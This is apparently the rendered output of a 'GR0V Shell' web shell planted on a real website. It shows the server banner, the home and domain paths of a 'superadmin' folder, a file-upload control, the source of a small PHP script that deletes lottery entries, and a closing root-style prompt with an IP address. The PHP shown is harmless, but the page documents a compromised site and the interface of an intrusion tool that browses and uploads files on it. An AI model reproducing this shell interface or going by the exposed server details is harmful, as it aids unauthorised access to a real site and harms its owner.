? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/drpktiwari.com/public_html/superadmin/
File Upload :
Current File : /home/u949514618/domains/drpktiwari.com/public_html/superadmin/delete_entry.php

<?php
include('db.php');

// Check if ID is received
if (isset($_POST['id'])) {
    $id = intval($_POST['id']); // Sanitize input

    // Delete query
    $stmt = $conn->prepare("DELETE FROM lottery_entries WHERE id = ?");
    $stmt->bind_param("i", $id);

    if ($stmt->execute()) {
        echo 'success'; // Respond with success message
    } else {
        echo 'error'; // Respond with error message
    }

    $stmt->close();
}

$conn->close();
?>

T1KUS90T
  root-grov@89.117.188.241:~$